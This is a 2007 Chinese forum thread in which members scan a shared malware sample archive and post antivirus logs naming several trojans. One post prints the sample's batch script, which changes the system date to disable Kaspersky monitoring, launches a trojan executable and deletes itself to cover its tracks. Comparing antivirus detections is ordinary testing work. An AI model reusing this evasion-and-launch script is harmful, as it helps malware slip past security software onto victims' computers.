也来发几个样本

gzg

大家测测看~~~~ 有几个是新货

The EQs

Scan performed at: 2007-8-24 18:09:25
Scanning Log
NOD32 version 2481 (20070823) NT
Command line: C:\Documents and Settings\Don johnson\桌面\autorun.rar
Operating memory - is OK

Date: 24.8.2007  Time: 18:09:30
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\Don johnson\桌面\autorun.rar
C:\Documents and Settings\Don johnson\桌面\autorun.rar ?RAR ?autorun\SVCIPA.EXE - a variant of Win32/Agent.ARK trojan
C:\Documents and Settings\Don johnson\桌面\autorun.rar ?RAR ?autorun\IE7.EXE - probably a variant of Win32/Genetik trojan
Number of scanned files: 10
Number of threats found: 2
Number of files cleaned: 1
Time of completion: 18:09:30 Total scanning time: 0 sec (00:00:00)

The EQs

1. ::======还是神秘一点好============
   
2. @echo off & setlocal enableextensions
   
3. ::======记下系统当前时间等下恢复============
   
4. set last_date=%date:~0,10%
   
5. ::======修改系统时间使卡巴监控失效============
   
6. date 2000-11-2
   
7. ::========倒计时等待10秒======================
   
8. echo WScript.Sleep 1000 > %systemroot%/temp/delay.vbs
   
9. set /a i = 10
   
10. :Timeout
    
11. if %i% == 0 goto Next
    
12. setlocal
    
13. set /a i = %i% - 1
    
14. cscript //nologo %systemroot%/temp/delay.vbs
    
15. goto Timeout
    
16. ::===========倒计时等待结束运行木马=============
    
17. :Next
    
18. %systemroot%/temp/daxian3.0.exe
    
19. ::======恢复系统时间=======================
    
20. date %last_date%
    
21. date %last_date%
    
22. ::=========清除痕迹============================
    
23. del %0

复制代码

saga3721

Virus or unwanted program 'VBS/Dldr.Agent.F [VBS/Dldr.Agent.F]'
detected in file 'C:\Documents and Settings\X\桌面\autorun\main.vbs.
Action performed: Deny access

zwl2828

ESET Smart Security

C:\Users\Administrator\Desktop\autorun.rar » RAR » autorun\IE7.EXE - probably a variant of Win32/Genetik trojan
C:\Users\Administrator\Desktop\autorun.rar » RAR » autorun\SVCIPA.EXE - a variant of Win32/Agent.ARK trojan

剑指七星

已删除: 木马程序 Trojan.VBS.Runner.x        文件: F:\autorun.rar/autorun\daxian.exe//data.rar/delay.vbs
已删除: 木马程序 Trojan.BAT.KillAV.ec        文件: F:\autorun.rar/autorun\daxian.exe//data.rar/daxian.bat
已删除: 病毒 Virus.VBS.Agent.f        文件: F:\autorun.rar/autorun\main.vbs
已删除: 木马程序 Backdoor.Win32.Agent.ark        文件: F:\autorun.rar/autorun\SVCIPA.EXE
已删除: 病毒 Virus.Win32.AutoRun.hw        文件: F:\autorun.rar/autorun\IE7.EXE

wwzh2003

MD,我的微点又没反应！

残缺的唯美

D:\Documents and Settings\EKINCHENG\桌面\autorun.rar - multiple threats - deleted - quarantined
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\IE7.EXE - probably a variant of Win32/Genetik trojan
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\zts2.exe - is OK
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\wlzs.exe - is OK
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\mhs2.exe - is OK
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\SVCIPA.EXE - a variant of Win32/Agent.ARK trojan
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\main.vbs - is OK
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\daxian.exe » RAR » daxian.bat - is OK
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\daxian.exe » RAR » delay.vbs - is OK
D:\Documents and Settings\EKINCHENG\桌面\autorun.rar » RAR » autorun\autorun.inf - is OK

qqq000@qq.com

----------
              [凝逸反毒] (http://hi.baidu.com/503165656)

       [凝逸.扫描病毒引擎-日志]       2007.8.24 19:8:57

文件:F:\070824\autorun\SVCIPA.EXE | 感染:Trojan.DownLoader.29692 [41>20070822_ny0010.axx]3(1.1)
操作:删除文件
文件:F:\070824\autorun\IE7.EXE | 感染:BackDoor.WebDor [24>20070822_ny0010.axx]3(1.1)
操作:删除文件

扫描完成|病毒:2 文件:10|耗时:1102
----------

碧水寒潭

Start of the scan: 2007年8月24日  19:16

Starting the file scan:

Begin scan in 'H:\AV-TEST'
H:\AV-TEST\autorun.rar
  [0] Archive type: RAR
  --> autorun\main.vbs
      [DETECTION] Contains signature of the VBS script virus VBS/Dldr.Agent.F
  --> autorun\SVCIPA.EXE
      [DETECTION] Is the Trojan horse TR/Crypt.ULPM.Gen
  --> autorun\IE7.EXE
      [DETECTION] Contains signature of the worm WORM/Winko.J
      [INFO]      The file was deleted!


End of the scan: 2007年8月24日  19:16
Used time: 00:14 min

The scan has been done completely.

      1 Scanning directories
     11 Files were scanned
      3 viruses and/or unwanted programs were found
      0 classified as suspicious:
      1 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      8 Files not concerned
      2 Archives were scanned
      0 Warnings
      0 Notes
      0 Hidden objects were found